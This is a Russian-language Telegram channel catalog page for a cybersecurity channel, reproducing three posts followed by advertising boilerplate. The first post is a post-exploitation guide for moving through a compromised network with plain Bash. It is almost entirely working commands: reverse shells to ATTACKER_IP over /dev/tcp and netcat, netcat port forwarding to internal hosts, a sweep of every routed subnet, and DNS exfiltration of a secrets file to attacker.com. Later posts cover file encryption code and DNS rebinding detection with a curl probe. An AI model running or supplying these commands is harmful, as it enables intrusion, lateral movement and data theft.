
- Главная
- Каталог
- Интернет технологии
- ZeroDay | Кибербезопасность
ZeroDay | Кибербезопасность
Учебник по информационной безопасности/кибербезопасности.
Новый свежезалитый канал со взрослой аудиторией
Статистика канала
Приветствую в мире цифровой безопасности!
Попали на машину внутри сети. Дальше нужно двигаться, но инструментов нет. Разберём, что можно сделать чистым Bash.
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1{}
Если наружу есть выход, этого достаточно, чтобы получить интерактивный доступ. Часто работает там, где всё остальное выпилено.
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f{}
Это уже ближе к «ручному сокету». Можно собрать канал там, где обычные методы ломаются.
while true; do nc -l -p 8080 -c 'nc internal_host 80'; done{}
Если есть nc, можно быстро прокинуть доступ к внутреннему сервису через текущую машину. Примитивно, но работает.
exec 3<>/dev/tcp/127.0.0.1/8080
echo -e "GET / HTTP/1.1\r\nHost: localhost\r\n\r\n" >&3
cat <&3{}
Полезно, когда нет curl, но нужно быстро понять, что вообще отвечает на порту.
for net in $(ip route | awk '{print $1}'); do
for ip in $(prips $net); do
(echo >/dev/tcp/$ip/22) &>/dev/null && echo "$ip:22"
done
done{}
Не просто /24, а всё, что реально доступно с этой машины. Иногда находятся неожиданные сегменты.
for i in $(cat secret.txt | xxd -p); do
dig $i.attacker.com
done{}
ZeroDay | Бункер Хакера | #bashПриветствую в мире цифровой безопасности!
Расскажу, как написать свой crypto engine под флешку, чтобы работало безопасное хранение ключей, потоковое шифрование и другие фишки.
class SecureBytes:
def __init__(self, data):
self._buffer = bytearray(data)
def wipe(self):
self._buffer[:] = secrets.token_bytes(len(self._buffer))
self._buffer[:] = b'\x00' * len(self._buffer){}
Смысл в том, что bytearray можно перезаписать по тому же адресу. Сначала случайные байты, потом нули. Ключ не остаётся висеть в памяти после работы.
with open(file, "rb") as f:
while chunk := f.read(8192):
encrypt(chunk){}
Но тут появляется более тонкий момент - nonce. В AES-GCM или ChaCha20 нельзя использовать один и тот же nonce дважды с одним ключом. Если просто шифровать куски подряд, это ломает безопасность.
def derive_nonce(base, i):
return base[:8] + i.to_bytes(4, "big"){}
Каждый блок получает свой nonce. Файл может быть хоть 100 ГБ, схема остаётся корректной.
file.txt -> file.txt.tmp -> verify -> rename{}
Параллельно ведётся lock-файл, чтобы понимать, что операция не завершена:
{ "status": "in_progress", "files": [...] }{}
Если процесс упал, при следующем запуске можно откатиться и восстановить исходные данные.
sha256sum original
sha256sum decrypted_tmp{}
Не совпало - значит оригинал остаётся.
Приветствую в мире цифровой безопасности!
dns && dns.resp.ttl < 5{}
ip.addr == <подозрительный_домен>{}
Если сначала внешний IP, а потом внезапно внутренний диапазон - это уже не совпадение, а почти готовый индикатор.
http.host contains "attacker-domain.com"{}
Получается, внутренний сервис принимает запрос как «свой», хотя он пришёл через браузер пользователя.
curl -H "Host: attacker-domain.com" http://192.168.0.1{}
Если приходит ответ, значит через rebinding туда тоже можно дотянуться.
dig attacker-domain.com +short
sleep 2
dig attacker-domain.com +short{}
IP «прыгает» - значит домен может использоваться для такой атаки.
tshark -r dump.pcap -Y "dns || http"{}
И посмотреть момент, где после DNS-ответа начинается HTTP во внутренний адрес.
ZeroDay | Бункер Хакера | #DNSОтзывы канала
всего 31 отзыв
- Добавлен: Сначала новые
- Добавлен: Сначала старые
- Оценка: По убыванию
- Оценка: По возрастанию
Каталог Телеграм-каналов для нативных размещений
ZeroDay | Кибербезопасность — это Telegam канал в категории «Интернет технологии», который предлагает эффективные форматы для размещения рекламных постов в Телеграмме. Количество подписчиков канала в 43.2K и качественный контент помогают брендам привлекать внимание аудитории и увеличивать охват. Рейтинг канала составляет 80.0, количество отзывов – 31, со средней оценкой 4.9.
Вы можете запустить рекламную кампанию через сервис Telega.in, выбрав удобный формат размещения. Платформа обеспечивает прозрачные условия сотрудничества и предоставляет детальную аналитику. Стоимость размещения составляет 13986.0 ₽, а за 120 выполненных заявок канал зарекомендовал себя как надежный партнер для рекламы в TG. Размещайте интеграции уже сегодня и привлекайте новых клиентов вместе с Telega.in!
Вы снова сможете добавить каналы в корзину из каталога
Комментарий